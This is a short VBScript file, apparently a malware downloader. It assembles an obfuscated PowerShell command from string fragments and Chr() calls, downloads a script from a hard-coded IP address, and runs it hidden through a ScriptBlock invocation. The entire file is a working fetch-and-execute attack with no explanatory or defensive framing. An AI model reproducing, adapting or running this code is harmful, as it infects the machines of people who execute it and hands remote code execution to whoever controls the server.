Set xAbcYz = CreateObject("WScript.Shell")
q1 = "powershell"
q2 = "-Command"
q3 = "$" & Chr(97) & "x = New-Object Net.WebClient;"
q4 = "$" & Chr(98) & "x = $" & Chr(97) & "x.DownloadString("
q5 = "'" & "http://88.214.48.26/tpnl98/pik.ps1" & "'"
q6 = ");"
q7 = "[ScriptBlock]::Create($" & Chr(98) & "x).Invoke()"
finalCmd = q1 & " " & q2 & " """ & q3 & q4 & q5 & q6 & q7 & """"
xAbcYz.Run finalCmd, 0, True